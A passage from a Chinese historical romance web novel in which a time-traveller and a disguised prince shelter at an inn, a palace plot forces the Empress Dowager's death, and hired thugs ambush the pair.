面对王介夫不可置信的质问,季铮硬着头皮一点头。 “为何?”王介夫还是不解,“我已传信至朝中族人,圣上并未在朝中提及此事,或许是在路上耽搁了,且等我再修书一封。” 季铮又不能直说陆观潮的身份,看王介夫兴致勃勃,不忍心打击他,可如今的局势,哪怕是千万分折子怕也撼动不了董县令了。 他叹了口气,问,“大人问了朝中亲友,他们没说别的吗?” “别的?”王介夫猛然想起,“说是说了,圣上前些日子病倒了,圣上身子一向不好,这不稀奇。” 季铮继续引导,“你可知圣上一般是什么情况犯病吗?” 王介夫回忆道,“朝中事务繁多,大事当前,变天忧心,哦还有珏王的事……” 他说着,乍然想到什么,道,“圣上之母孙太后前往热河,可是此事?” “所以啊。”季铮道,“圣上想来也顾不上这里,董县令这几日也老实,何不晚几天看看情况再上奏。” 千言万语,总算劝住王介夫缓一缓,季铮告辞离开。 门口王实递过来一把伞,“天又要下雨,生员带上吧。” 季铮接过告谢,又听王实道,“我家大人固执,并非不满生员注意。” 季铮笑笑,“有劳你解释了,此事责任在我,即便不满也是应该的。” 王实没往心里去,还以为他在自谦,也跟着笑了一下。 回程路上果不其然下起雨,街上行人加快脚程往回赶,季铮撑起伞,随着人群跑了几步。 没跑几步,他忽的停下,站在雨中愣了好一会。 行人挤挤攘攘,撞到他的肩膀,季铮身子歪了歪,衣摆被溅起的雨水打湿也好无所觉。 街边墙根下缩着一个乞儿,准确来说,是一个还不足七岁的孩子,这个时节,还穿着单衣,冻得嘴唇发青,哆哆嗦嗦的抱住自己。 行人都在着急找地方避雨,没人发现这孩子,可发现了又能如何,人人艰难,谁愿意为一个不相干的人停留,乃至施舍一二。 季铮以往只在集市时来镇上,不是集市也带着事,没怎么仔细观察这条街,如今看来,心底发酸发涨。 他第一次这么确切的明白过来,他已经在另一个时代了,封建,冷血,残酷,人命如草芥的时代。 季铮顺着这个孩子一眼看过去,墙角下缩着好几个黑影,或像他一样一个人,或两三成群,冷到乞讨的力气都没有。 雨水模糊了视线,季铮看不大清这些孩子的面孔,可他心里清清楚楚的想,这些都还是孩子,本该因为少上一节数学课而欢喜雀跃的孩子。 一瞬间,他仿佛懂了为何王介夫会如此急迫的上奏换掉董县令。 可一个地方的问题,又岂会是一个不仁的县令导致的? 流寇,土匪,乞丐,天下无家可归的人,岂能全归咎于一个君主的决策。 这是一个时代,从根里腐烂了,世世代代无人诊治,烂的彻彻底底。 如今烂掉的根开始反噬树干,大周这棵树金玉其外,败絮其中。 季铮掏出身上带的所有银两,这条街这么长,帮了第一个,就仿佛欠了下一个,末了,他买下要收摊的一家烧饼铺剩余的烧饼,因下雨没生意,老板按便宜的算,满打满算一人一张。 老板得知他要给那些乞丐,嘲笑似瞥了他一眼。 就见油纸伞下,男子眉眼柔和,唇边挂着笑意,秋雨斜斜划过,老板不由一怔,默默觉得亲切熟悉。 等人离开,老板恍然发觉哪里熟悉了,不就像他家娘子总爱拜的那尊菩萨。 这么年轻的小郎君,竟生的一副菩萨面目,难怪善心泛滥。 几个乞丐拿到烧饼,先是不敢置信,后抵挡不住饥饿,狼吞虎咽起来。 季铮本打算分一分烧饼就走,临走时瞧见一个小姑娘拖着坡脚躲起来偷偷吃,浑身淋透,模样可怜极了,遂将伞留下来。 他以袖挡雨,雨越下越大,街上没剩几个人了。 这可太不妙了,从这里回去还有一段路程,他又没了钱,找不到地方歇脚,难道真要淋着回去,也不知王大人还在不在,这时应该回去再借一把伞。 正想着,迎面撞上一人。 季铮被撞得鼻子生疼,他捂着鼻子,眼底泛起酸意,“对不住,我跑得急了,你没事吧。” 还没抬头,就被面前的人拥入怀中。 季铮一懵,闻到熟悉的味道,紧绷的神经缓和下来,他喜道,“陆观潮,你怎么来了?” 陆观潮埋到他肩膀里,也不顾季铮衣裳湿淋淋,闷声道,“要下雨了,我来接你。” “太好了。”季铮道,“正愁回不了家呢。” 陆观潮稳稳的把伞撑在两人头顶,季铮身前挡着个人形挡风机,源源不断的传来暖意,舒服极了。 说实话,这几天降温,他没和陆观潮一起睡,半夜常常冻醒。 陆观潮将人抱的更紧的,语气带着些埋怨的味道,“这么大的雨,为什么不打伞。” 季铮拍了拍陆观潮的后背,示意他松开,可惜陆观潮没明白依然死死抱着,他道,“给一个小姑娘了。” “那为何不找家酒楼?”陆观潮这次口气是真生气了,“要是我没来,你就打算这样淋雨回去?” 季铮尴尬道,“钱都买烧饼,分给街边的孩子了。” 什么孩子,陆观潮在一边看的清楚,季铮这个傻子,是一个子都不给自己留。 陆观潮恨不得把季铮融入自己的骨血里,贪婪的呼吸着季铮身上的味道,一颗因季铮淋雨而暴躁的心稍稍平稳。 他紧紧攥着季铮后背的衣服,“不许再这样了,万一生病了怎么办。” “大惊小怪。”季铮很不理解,“我的身体好得很,淋雨而已,又不能怎么样。” 淋雨而已,亏季铮说的出来,陆观潮在军中见过无数粗壮的汉子因一场风寒高热去世。 季铮说罢,推了陆观潮一把,“好了,还在大街上呢,别抱了,我又没事。” 陆观潮这才松开,一只手却还扯着季铮袖口不放。 “又怎么了。”季铮瞧见陆观潮微红的眼圈,叹道,“好吧,我听你的,以后不这样了。” 陆观潮别过头,就算季铮不答应,他也不会再让季铮有这种顾虑了。 不知怎地,季铮看到陆观潮后沉重的思绪一下子轻松起来,他戳了戳陆观潮道,“这天看起来还要再下一会,看来要在外过夜了,你带钱没,咱们找个地先歇会。” 陆观潮正有此意,一把把季铮扯进伞里,带着人去酒楼。 两个人紧挨着,陆观潮暗喜,连自己半个肩头湿透也没发现。 王介夫已经回家了,店里只有王实一个,发现季铮去而复返,还带着另一个人,都被淋的不轻。 他忙递上帕子,问道,“生员怎么回来了。” “不好意思。”季铮淡淡一笑,“雨太大了走不了,我们开个房间休息休息再走,哦,这位是我……弟弟,来接我。” 陆观潮听到这声弟弟,脸色铁青,盯着季铮加了一句最好的弟弟才收回目光。 王实点头,“也好,你们几间房?” 陆观潮:“一间。” 季铮:“两间吧。” 王实拿不定注意,迟疑不定的看了看两人。 季铮看向陆观潮。 陆观潮被看的红了耳尖,他不自然的四处乱看,“我带的钱只够一间。” 季铮嘴角抽了抽,“你逗我玩呢。” ——别以为我不知道你钱袋子里带了多少。 “钱不是问题,若是在往日,不过几间房而已,哪怕是八间十间,依照生员和我们家大人的关系,都没问题。” 王实左右看看,给他们看册子,“可今日下雨,店里都住满了,就余了一间……” “哦?”陆观潮得意的看向季铮,“好可惜。” 季铮气笑了。 王实心里过意不去,送来两碗参汤,又找了两身衣裳给他们换洗。 房内不知哪里漏风,点燃的烛灯一闪一闪的。 季铮受不了这一身湿衣服,拿到干净衣裳忙解衣要换。 他道,“你来找我告诉季秧了没有?” “自然说了,她说同村一家娘子家里人不在,要去陪一晚……”陆观潮话说到一半,一回头就看到季铮在换衣服,骤然一愣。 季铮没听清,“什么?” “她说要去朋友家住一晚。” 陆观潮趁季铮没发现,目光灼灼,直直盯着看,舍不得眨一下眼。 他看不懂季铮的锻炼方法,况且他又不能从早到晚一只守着季铮看,平日很少直接看到季铮的身体,如今一看,才觉这套方法简直厉害极了。 陆观潮依稀记着,上一次观察季铮身体,是在他刚缠着季铮住下的第二天,误伤季铮后涂药那次。 两相对比,如今明显更加健壮了,是那种很漂亮的肌肉,恰到好处,陆观潮找不到合适的形容词,只觉如美玉一般,叫人忍不住想摸一把。 他喉结上下滚动一圈,心惊肉跳的移开目光,心跳声比屋外的闷雷还要响。 “陆观潮。”季铮穿好衣服,就见陆观潮背对着他,不解道,“你做什么呢,人家送了衣裳,你不换一下,我见你衣服也湿了。” “嗯……” 陆观潮低低应了一声,小声道,“有屏风,你为什么在我面前换。” “?”季铮气道,“谁在你面前换了,你不是背对着我吗,都是男的怕什么。” 陆观潮想问别的男的在也是这样吗,但猜到了季铮会说什么,便不问了,抓起衣服头也不抬冲进屏风后,匆忙之下碰到椅子。 季铮扶起椅子,“你急什么。” 屏风之后,陆观潮脸色涨红,手臂青筋暴起,眸光飘忽闪动,控制不住的憋出一声闷哼。 好半晌,他道,“季铮,你和我说说话。 48.第 48 章 窗外一声闷雷,窗子仿佛都被震的一抖,凉风钻进来,吹灭了蜡烛。 季铮搓了搓肩膀,吐槽道,“换衣服就好好换,叽叽歪歪的说什么话,可别冻着了” “哦……” 屏风那头,陆观潮闷闷出声,似乎很不开心。 季铮没理会他,四下找个硬物堵住窗户,让它别再一张一合灌风。 屋内陈设简单,一时找不到合适的物件,也就床上的枕头能用一用,季铮没多想,随手抓来堵住,好不容易弄好,又听陆观潮叫他。 “季铮。” “又怎么了。”季铮边摸索打火石边回,“不会穿衣服?” 陆观潮软了语调,哄人一般说,“季铮,你理理我。” 声音含着水汽,好似哭了一场,带着些委屈的意味,刮过季铮耳朵,听的人浑身起鸡皮疙瘩。 季铮闻言耳根一酥,心间不禁痒痒的,磕磕巴巴道,“我……我不是在和你说话吗。” 陆观潮真是的,还幽州主帅,煞星珏王,好端端的撒什么娇,也不嫌丢了脸面。 “不一样。”可哪里不一样,陆观潮又说不出了。 他动作一滞,或许是淋了雨的原因,陆观潮只觉手脚连通大脑都变成了木头,迟钝不堪,死活想不明白为什么这么想听季铮说话。 唯有念想是那么清晰明了,瞬间摧毁他的理智。 唯有一颗心还通通跳着,燃火了一样烧遍四肢百骸。 不用照镜子陆观潮也能察觉,自己现在一定从头到脚红了个遍。 入学时先生念叨教导的守正持礼,克己复礼,往日里遵循的风骨,一直以来的清心寡欲都化成了泡沫飘走了。 遇到季铮前,陆观潮从来不知道原来这件事还有如此乐趣,如此让人沉迷。 荒唐…… 陆观潮闭上眼,咬紧牙关,压抑住喉间喘息,竟生出了厌恶的情绪。 为什么季铮就不会这样,为什么季铮没有因他而失态,为什么此时此刻情难自已的是他,而季铮却能好端端的坐着发问,不知所云? 陆观潮恨恨想,这不公平,季铮要和他一样才对,明明季铮也喜欢他吧? 他恨季铮不对他垂怜,他恨自己入了魔发了癫,变成现在草木皆兵的模样,全身心都系在季铮身上,因为一个季铮时时牵挂。 陆观潮自小所思所念大多都得不到,他不由扪心自问,老天爷向来和他作对,如果知道他心心念念季铮,是不是就和从前一样不会如他愿了。 可他做不到对季铮放手,他就是要季铮也喜欢他,最好不是嘴上说说,而是在他面前,时时刻刻和他在一起,包括现在。 恍惚间,陆观潮迷糊看到季铮,来人轻柔的捧起他的脸,在他耳边小声说话,他没听清,不由心烦。 陆观潮抓起衣服里不小心拿错的季铮里衣,迟疑片刻,还是放到鼻尖深吸一口,季铮到底熏了什么香,怎么衣服都是香的? 疯了,陆观潮骂道,自己一定是疯了,怎么会不切实际的想这些乱七八糟的。 另一头,季铮得到陆观潮这一句莫名其妙的话,再问就等不来后文了,忍不住担心。 换个衣服需要这么久吗? 季铮思索片刻,不应该呀,这时间够他换五六套衣服顺便走个秀了。 陆观潮不会真生病晕过去了吧。 这么一想,季铮顿觉焦急,忙点燃烛火。 他举着烛灯靠近,象征性的礼貌问道,“陆观潮,你还好吗,我可以进去吗?” 陆观潮猛然清醒,心跳的更快了。 不过这次不是因为激动,而是紧张。 眼下他衣衫不整,脸上的红晕还没消下去,傻子也知道他干了什么,陆观潮不想让季铮发现。 季铮只听到一阵噼里啪啦的声响,陆观潮慌忙躲闪碰倒了不少东西。 “你到底怎么了?”季铮被这兵荒马乱的阵仗吓了一跳,不敢再往前了,停在两米外的位置。 隔了一会,陆观潮喘了一声,总算开口了,“我……我没事。” 怎么可能没事,听上去就很有事啊! 季铮有迈了一步,追问,“真的没事,好吧,我换个问法,用不用我帮忙?” 陆观潮心底道,你要是知道我在干什么,还能说出要帮忙? 他攥紧手中衣衫,“不用。” 于是季铮更不解了,“和我客气什么,你放心,就算你坏了我的计划,我也不会怪你的。” 不料陆观潮听了这话,非但不开怀,反而愤愤叫他不许说了。 “干什么。”季铮来气了,“刚还不让我和你说说话吗,我说了,你又不满意了,天底下还有比你难伺候的了。” 陆观潮哽住了,下一秒恼羞成怒,季铮这个时候给他说这些态度不明的话做什么,岂不是在折磨他。 季铮接着说,“你真的很奇怪,进房前还不这样,这屏风给你下药了,躲过去出不来了还不止,还总发出些稀奇古怪的声音……” 说到这,季铮猛然反应过来,他看向屏风上的黑影,那动作怎么看怎么奇怪。 怪不得呢,季铮烧红了脸,一时语塞。 早说是那啥,他就不多问了,真猜不出来一本正经的陆观潮也会偷偷干坏事,入秋后天气干燥,倒也正常。 季铮低咳一声,什么也不敢说了,蹑手蹑脚的缩到床边,争取不再打扰陆观潮雅兴。 “咳,对不住了,你继续。” 陆观潮:“……” 季铮深呼吸平复好心情,再仔细去听,陆观潮久久没有动静,大抵是消停了。 也是,任谁被这么一闹还有兴致也是见鬼了。 闲下来,季铮才有脑子好好去想未来的事。 事已至此,陆观潮干都干了,他不能穿越回去修改,给人骂一顿又不能解决问题,不如考虑考虑怎么弥补。 扳倒董何维入仕看来是行不通了,不过按陆观潮斤斤计较的脾气,董何维丢掉小命定是跑不了。 季铮想事情,喜欢先列出自己的目的,再列出现况,从后向前推。 他的目的无非就是去幽州时有一个好名头,若是在县府里做事出身,来日跟着陆观潮空降幽州足以立足。 而现况,董何维这条路堵住了,他要是还想达成目标, 一是有良师家室,自带背景,参考原身的背景,无父无母,老师是个没名没姓的不说,还早就归西了,直接排除。 二是参加乡试脱颖而出分配入县府,倒是可行,但最近的一次乡试在明年,耗时太长,再者他对科举不熟悉,不是稳妥之计,备选。 最后的办法,靠人推举,也就是举孝廉,他有足够的钱财,编几个催人泪下的小故事,花钱叫人传出去,最后托王大人上报,一样可以。 不过这么一来,他必定会花不少银子,把好不容易赚来的钱都花出去也不一定。 季铮正连连感叹之际,陆观潮穿戴整齐出来了。 他一眼就看见愁眉苦脸的季铮,顾不上因被季铮发现的扭捏心理,急忙问,“何事烦心。” “还能是什么。”季铮白了他一眼,“你的事呗。” 季铮没提屏风后的事,陆观潮松了口气,摸了摸鼻尖,弱弱道,“你不是说就算我坏了你的计划,你也不会怪我吗?” 季铮环胸而立,“不怪是不怪,但总得让我生气吧。” 他反问道,“你还不让我生气了?” “自然让。”陆观潮讨好似的笑了笑,“我可以问一问,怎么才能不生气吗?” 季铮笑了,“骗你的,我没生气,就是在想下一步该怎么走。” 陆观潮余光瞟向季铮几缕发丝沾湿,下意识拉着季铮坐下,翻出一块巾帕,烛光下仔仔细细的 伸手去擦拭。 为了防止季铮不许,他赶忙岔开话题问,“那你想出来了吗?” 果不其然,季铮瑟缩了一下,抬手要挡,被问话吸引,手下力气弱了几分,陆观潮轻而易举的扯下。 季铮这一回是不敢再不告诉陆观潮就做事了,把自己想的一一给陆观潮道出。 陆观潮认真听着,垂眸看季铮讲话时一颤一颤的睫毛,感受到手中顺滑的头发,莫名很想抱住季铮。 他一向并不喜欢和人多近亲,触碰一下能膈应半辈子,不知怎地,面对季铮就不一样了,总想牵牵手抱一抱,甚至更过分都想过。 季铮说完,眼瞅着陆观潮擦个头发手都伸进他衣领里了,赶紧后昂阻止,“你动手动脚的干什么呢。” 陆观潮回神,“抱歉,听入神了。” 头发擦得半干,他收起巾帕,收敛起情绪,道“我听过了,你的法子很好,不过你忽略了一点。” 季铮挑眉,“什么?” “我啊。”陆观潮在烛火下,眼睛亮亮的。 季铮一懵,实在没想到和陆观潮能有什么牵扯,“怎么讲?” 陆观潮道,“我还没来及告诉你,我找到补偿你的法子了。” “我在大都的处境危险不假,但不代表所有人都对我避之不及,加上镇南候的关系,足够给你造势了,别说区区县府,你要做京官也不在话下。” 嚯,季铮差点忘了,自己还是个关系户。 季铮来了兴趣,“你说具体点。” 陆观潮给他距离,“你可认得白玉山,苍山居士?” “记得。” 季铮点点头,他从原身书柜里一本人物杂技里看过,这位苍山居士乃归隐旧臣,先帝极其信服,尊为太师,自当今帝王登基后自请出仕,随后浪迹天涯,不知踪迹。 如果仅此为止,还不够陆观潮拿来给季铮献策,更重要的是,苍山居士一手创办官学,广为招生,聚天下良才勋贵,万人说不上,最起码也是千人之师,桃李满天下。 门下上至国侯世子,下至状元武人,大周境内遍布苍山居士门生。 本人又是寒门出身,出名严苛待己,当之无愧的清流,时至如今仍有不浅的名声。 季铮睁大眼睛,“你认识?” “他曾教过镇南候。”陆观潮道,“归隐后仍与镇南候保有联系,而我拜镇南候为师,该唤他一声师祖,若是镇南候出面,请他出山,不好过一个董何维?” 季铮喜道,“太好了,如此一来,反而更稳了!” 陆观潮见他满意,笑道,“我联系了大都的人,苍山居士创办官学正在招生,我让他留了你一个名额,届时我再请苍山居士为你行冠礼赐字,可好?” “苍山居士赐字?”季铮喜不胜收,“你早说你有这人脉啊!” 在这个时代,有这般人物亲口取字,无疑是开挂开局,走到哪都顶着一行金字“我有人罩着”。 这下好了,可以省下一笔钱了。 天色不早,陆观潮铺好床,心道终于能和季铮一起睡了,这几天憋得要死。 喜滋滋的铺完床才发现床上只有一只枕头。 季铮兴奋劲还没过去,转头看他在发呆,便问,“怎么了?” “没事。”陆观潮眨眨眼,“就是只有一只枕头,要不然你来枕吧。” 大不了他晚上打着睡熟的理由抢半个枕头。 季铮指向窗台,一脸正色,“在那呢,我们挤一挤吧。” “挤一挤?”陆观潮愣愣重复。 季铮道,“是,这枕头够宽,招得下我们两个人。” 幸福来得太突然,陆观潮眼冒金星。 居然是真正意义上的同床共枕! 他难道要光明正大的搂着季铮了?! 陆观潮吞了吞唾沫,他才缓解过,应该没问题吧? 49.第 49 章 雨下了两三日,今年秋季多雨,一阵接一阵的雨不停,才黄昏,天便已经暗下去,细密的小雨斜斜洒下。 山道颠簸,仪仗行驶缓慢,生怕颠到大病初愈的太后娘娘。 孙太后身边的女史瞧了瞧天色,问一旁的侍卫,“这天一会要下大,找个地方停一停吧。” 侍卫有些为难,“姑娘,圣上有旨,今日天寒,恐太后娘娘旧疾复发,令我们尽快赶路,原定每日酉时歇息,这才申时不到,本就因下雨行的慢,堪堪卡着时间呢,您就为我们求求情吧。” “更何况。”侍卫压低声音又道,“即便能停,这在半山腰上呢,万一出了什么闪失,下属担待不起。” 女史啧了一声,“待我去禀告娘娘。” 车内点了炭火熏香,孙太后正闭眼诵经,一手捏着佛珠,一颗一颗拨弄。 “娘娘。”女史行过礼后道,“崔侍卫说半山腰上不便停车,奴婢吩咐出去,过了这段再停?” 孙太后乍然睁眼,眼中闪过狠厉,“如今哀家的话,是没人愿意听了?” 明明是毫无起伏的声调,却吓得女史一抖,跪扑在地,“奴婢擅作主张,罪该该死,求娘娘饶恕,奴婢这就再传。” “秋茹。”孙太后不紧不慢的把玩手中佛珠,似笑非笑,“哀家以为你是个听话的,可别让哀家失望啊。” “是,谢娘娘饶奴婢不死,奴婢不敢造次。” 秋茹颤颤巍巍的说完,跪着退出车门。 她一出车,崔侍卫迎上来,“如何了,娘娘怎么说。” 秋茹和崔侍卫交换了一个眼神,不动声色的微微一点头,嘴上却道,“娘娘就要在此地歇息,尔等谁敢耽搁,小心自己的项上人头。” 队伍不敢有二,乖巧的寻了个凹进去的山洞,停下扎营。 孙太后摇了一下铃,还在和崔侍卫交代事物的秋茹忙不迭赶到,跪伏在地,以身为凳,托着孙太后下车。 下车后,孙太后淡淡扫了秋茹一眼,转头对另一边道,“秋茹餐食减半。” 秋茹没敢抬头,顺从的接受,就听孙太后嫌弃似的道,“胖了就是不好,哀家踩着都不稳定。” 孙太后走后,同为女史的芙蓉趁没人发现过来扶她,“秋茹姐姐,你别忧心,娘娘许是出了大都担心圣上才发怒,都怪我今日让你替我,我的餐食分你一半。” 狗屁担心陛下,分明是失权后被赶出大都内心不平罢了。 “不必。”秋茹站起身,拍了拍身上的灰,“你年纪小多吃点。” 芙蓉急得团团转,要哭似的。 秋茹朝人群里崔侍卫的方向看去,对上崔侍卫担心的眼神,摇头示意自己没事。 一堆人才安顿下来,小御厨的火刚点招,就听头顶一声轰鸣,像是有什么炸掉了。 秋茹忙出去查看,崔侍卫紧随其后,雾蒙蒙的山顶,隐约瞧见一片黑倾斜下来,以肉眼可见的速度愈来愈近。 有经验的小太监怪叫一声,“山崩!” 此话一出,众人纷纷慌了神,四处逃窜。 秋茹眼尖的瞅准一个位置,亮声道,“去那里,山崩波及不到!” 众人便如有了指路星,一股烟的往那跑去。 崔侍卫被人撞了一个踉跄,问道,“太后娘娘呢?” “娘娘还没跑出来。”秋茹捂住口鼻,“崔侍卫随我去找娘娘。” 芙蓉慌了神,“姐姐,让我去吧,你快跑。” 秋茹皱了皱眉,猛推了她一把,“别不懂事,快滚开,误了事你有几个脑袋够砍的!” 芙蓉还要再说,有一人抓住芙蓉的后衣领,拎着人走了。 秋茹与崔侍卫对视一眼,折返回去,好在孙太后尚且安全,她不过是点了把香的功夫,就听见外头吵吵嚷嚷的,一出帐才发觉人都跑没了,顿时气急,看到有人也没能缓和。 孙太后骂道,“刁奴,看哀家出去后如何罚你们。” 秋茹扫了孙太后一眼,一言不发,和崔侍卫左右一边一个架起孙太后,朝另一个方向去。 孙太后察觉不对,连连挣扎,可她一把吃斋念佛的老骨头,怎么能对抗的过两个年轻力壮的少年,不容拒绝的驾着离开众人视线。 到地方,孙太后被重重撂下,摔倒在地。 孙太后张口就骂,秋茹揉了揉手腕,问崔侍卫道,“姓赵的那人呢?” “秋茹。”崔侍卫无奈叹道,“好歹是侍卫长,咱们的顶头上司,你尊重些吧。” 秋茹冷哼一声,“不都是给人打工干脏活的,有什么区别?” 崔侍卫没话说了。 “区别还是有的。”赵德赶来,“秋茹,要不是我,你那芙蓉好妹妹就要被压死了,还不谢谢我?” 秋茹别过头,“谁会在乎她。” 赵德走进,拍了拍崔侍卫的肩膀,“崔伯崖,这票干得好。” 崔伯崖笑笑,“还要多谢统领提携。” 赵德又对秋茹道,“你们干脏活得几块钱,我干脏活可不一样了。” “怎么说。”秋茹嗤笑道,“你还真比我们高贵?” 赵德笑道,“高贵不至于,不过是好主子坏主子的区别了。” 崔伯崖一惊,“统领,这话可不能说,圣上……咳咳,我们的主子只有一个。” 秋茹暴脾气道,“你还藏什么,反正这老太婆都要死了,让她知道有什么干系。” 赵德这才注意不知何事不再骂骂咧咧的孙太后。 孙太后从他们的三言两语中拼凑出真相,满脸惊讶,她想过是镇南候,想过是自己的亲弟弟孙国舅,就是没怀疑过当今圣上,她的儿子。 “太后娘娘。”赵德笑意盈盈的蹲下身子,从怀里掏出秘信,念道,“圣上有旨,孙氏作恶多端,联通孙国舅包揽朝政,不得已大义灭亲……” 孙太后脸色煞白,嗫嚅着说不出话。 赵德在她面前摆了三样东西,“娘娘,这是圣上赐下的,白绫一条,鹤顶红一盏,匕首一把,您且选吧。” “哦。”赵德又道,“您不必怕,九泉之下等一等,孙国舅跟着呢,若实在下不去手,秋茹可待为动手。” 孙太后看了一圈,最后跌跌撞撞的爬起,迎着呼啸而来的风,自嘲般开口,“哀家一声荣华,尽心尽力辅佐母族,心惊胆战,躲过后宫前朝明枪暗箭,躲过先帝层层眼线,谁承想,竟栽倒亲儿子手上……” 三人不语,静静看着。 孙太后骤然出手,夺了赵德腰间佩剑,手一横,一道鲜血喷涌而出,“咚”一声,孙太后应声倒地。 死前她那一声“报应啊——”还在崔伯崖耳边萦绕,他不禁惋惜,解下斗篷盖到孙太后身上。没等他默哀,就听秋茹丝毫不受影响,追问赵德,“你那话是什么意思,说清楚啊。” “……” 崔伯崖哀嚎,这没有人情味的工作啊! 季铮第二日和陆观潮回到家,一路上腰酸背痛,果然还是不能和陆观潮一起睡。 陆观潮发觉季铮频频揉肩膀,探头问,“不舒服?” “还行。”季铮不能直说是你陆观潮挤我挤的,随口扯谎道,“风吹的有些受凉,过段时间就好了。” 季秧不在家,想来是还没回来,季铮便拉着陆观潮去田里,看看这一场大雨过去,田里的粮食有没有淹死。 田里没人,索性季铮提前做了排水,田中并没有积水,麦苗翠绿健康,微风拂过枝叶微微抖动。 季铮深呼吸一口气,无端心慌,他问道,“我总觉得怪怪的,你有这种感觉吗?” 陆观潮低头捡起什么藏到袖口,没回话,反手拉住季铮,“我们先回去。” “好。”季铮看到陆观潮沉重的表情,严肃不少,没问别的,跟着陆观潮往家的方向疾步离开。 没走出几步,灌木丛里冒出几个大汉,在这阴云密布的环境里显得可怕极了。 季铮眼一眯,来着不善。 两人还没说什么,几个大汉不由分说的冲上来。 这么直接!不应该自报家门,挑衅一番吗?! 陆观潮将扯着季铮拖到身后,低声道了一句,“别离我太远。” 下一秒,他掏出方才藏进袖中的东西,竟是一条小臂长短两指宽的铁片,季铮记得那物,是他用来随手捡来松土的。 陆观潮飞身出去,和几人缠斗起来。 季铮欲哭无泪,怎么不说清楚一点,别离太远是多远,要跟着一起去上吗,还是站着不动。 他只是在强身健体,还没到和人打架这种程度。 身后有人袭来,陆观潮自顾不暇,喊了季铮一声,“躲开!” 话落下,季铮已然闪开,刀锋划破空气,削下季铮一缕发丝。 兄弟,你的手速比菜市场打折大爷大妈们的还是差了点。 还是得陆观潮这样的,一看就有能抢下有机大棚无农药的一折土豆的风范。 季铮拍拍胸脯,差点,差点小命不保。 陆观潮把他抓回来,“不是让你别离我太远吗?” 季铮哭丧着脸,“你跑太快了呀。” “这次跟好。”陆观潮被看的心一揪,偏头不再看,只是这次牢牢牵住季铮的手不放了。 陆观潮不愧是当上主帅的人,身手不凡。 和电视动画里花里胡哨的打斗不同,陆观潮揍人干净利索,说揍人不够具体,准确来说是陆观潮全方面的碾压几人。 这个人一拳,那个人一脚,可谓是十分公平,谁也没落下,再也没人能近季铮身。 只不过因为一手牵着他受限,只余一只手,动作显得滑稽了几分。 不出半个时辰,几人吱哇乱叫躺倒一片。 陆观潮放开季铮,率先问他,“可有受伤?” “没受伤。”季铮捂着头,被陆观潮拉着又是转又是跑,更何况还是他正酸痛的手,难免头晕,他勉强维持振作道,“没事,有点晕而已。” 陆观潮转而问地上的几个,“你们谁派来的,不知道我是谁?” 50.第 50 章 为首的是个彪悍的壮汉,自眉骨到唇边有一道贯穿半张脸的疤,显得狰狞可怖。 那汉子呸了一声,吐出一口血沫,“我们做这种生意的,怎么可能出卖主顾!” 本来周遭的几人已经动了心思告密,听了这汉子一言变了态度,一个个视死如归般挺直了腰杆,傻不拉几的瞪回来。 季铮嘴角抽了抽。 陆观潮神色一凌,活动了一下臂膀,“那么你便不用活着了。” 好残暴,不愧是陆观潮。 几个汉子瑟缩一下,面露惊恐,有胆小的已经朝后挪身子了。 看陆观潮踱步过去,明摆着要说到做到的模样,季铮吓了一跳,“你来真的!” “自然。”陆观潮被拦了一下,不知所以然的看向季铮,顶着无辜的眼神,却说出十分血腥的话,“他们伤了你,丢掉一条命还是轻的。” 汉子左右看看,像是知道了陆观潮不是作假,自己躲不过一命归西,想死的壮烈,竟是直接骂起珏王殿下。 “姓陆的,你残害百姓,霸占民女,荒淫无道,欺下媚上,你会遭报应的,老天爷饶不了你!” 这都什么跟什么,季铮哭笑不得。 且不说你骂的没一搭,再者说,你骂错人了啊。 这汉子方才那发自肺腑的一番话,全冲着季铮发作了,看都没看正主陆观潮一眼。 许是看到陆观潮处处维护季铮,这才认错,真是冤枉,季铮不免胆战心惊,这岂不是把陆观潮珏王脸面摁在地上摩擦? 反观陆观潮,心情很好的朝季铮眨了眨眼,“此人眼光还挺好。” 眼光好在哪里啊! 人家把你认错,不该愤怒一下吗,这么风轻云淡真的对吗! 汉子见没激怒他们,接着骂道,“你,你,你别以为长个小白脸的模样,老子就不敢骂你了,我告诉你,娘们做坏事,老子也照样骂。” 陆观潮眯了眯眼,将季铮拉到身后,阴恻恻道,“你不想活命,大可直接告诉我,放心,我不会让你多活一时。” 骂他随意,毕竟他被明着暗着骂得多了,早已习惯,可这厮千不该万不该骂季铮,何况还是如此羞辱的词汇。 “哈哈……”季铮尴尬的只想钻进地里。 这回知道生气了,小白脸也不是什么很侮辱人的词汇,相反季铮还有些沾沾自喜被同为男性的陌生人称赞了容貌。 看来自己是真的俊俏。 季铮拍了拍陆观潮,示意他让开,轻咳清了清嗓,郑重介绍道,“抱歉兄弟,别怪我打断你寻死,不过我得先给你说清楚。” 他双手平摊,做出展示宝物似的手势展示陆观潮,“这位,才是珏王殿下,我不过是打杂的,额,被他欺压的老百姓之一?” 陆观潮瞥了季铮一眼,“我何时欺压过你。” “对啊。”季铮看向汉子,“你口口声声说我们家殿下这般多罪名,可有证明?我家殿下何时欺压过你们了?” 陆观潮听到这一声声“我家殿下”,悄悄勾起一个笑。 我家殿下,我家,陆观潮笑容加深,他是季铮家的。 汉子还沉浸在被抢着维护的不是殿下,恭恭敬敬的才是殿下。 传闻不是说珏王性子孤僻吗?这个死皮赖脸,偷偷噙着笑的人是怎么回事。 汉子道,“你莫要耍老子玩,反正是手下败将,要杀要剐悉听尊便,我莫关源愿赌服输,你要是耍心思,可就不厚道了。” 陆观潮冷笑道,“和你这种人用不上耍心思。” “你!”汉子怒目圆睁,被他这句话气得一噎。 季铮双手合十,提议道,“这样吧,咱们各退一步,这位……哦莫关源莫壮士,如何?” 汉子“呵”了一声,没有回话。 陆观潮不耐烦道,“何必与他讲道理,不愿意说的杀了就是,我看他们能忍到几颗人头?” “胡闹。”季铮低声对陆观潮道,“你杀容易,可怎么处理想过吗,万一那幕后之人得了教训,再度出手怎么办,以你的身手自然好说,可我呢,要是哪天落单被抓到,能有全尸就是万幸了。” 说罢,季铮忧心仲仲的看向陆观潮,“你从前在幽州都是这样?” 当然不是,幽州虽大多数都是他的补下,但仍有陆泽的人,他需处处谋划,才能躲过陆泽的一次次的阴招,才能从户部手里抠出来粮草银两。 陆观潮听了这一番话,脸白了白,怎么就把这一茬忘了,不用勾心斗角这才几个月,怎地就变傻了,以至于叫季铮提点。 惭愧惭愧,还好有季铮,心道如今时局不定,不该狂浪,恐连累季铮。 陆观潮收敛戾气,道,“听你的。” “如此。”季铮蹲下身子,与莫关源平视,“你可愿和我也做一桩生意?” 莫关源警惕的眯起眼。 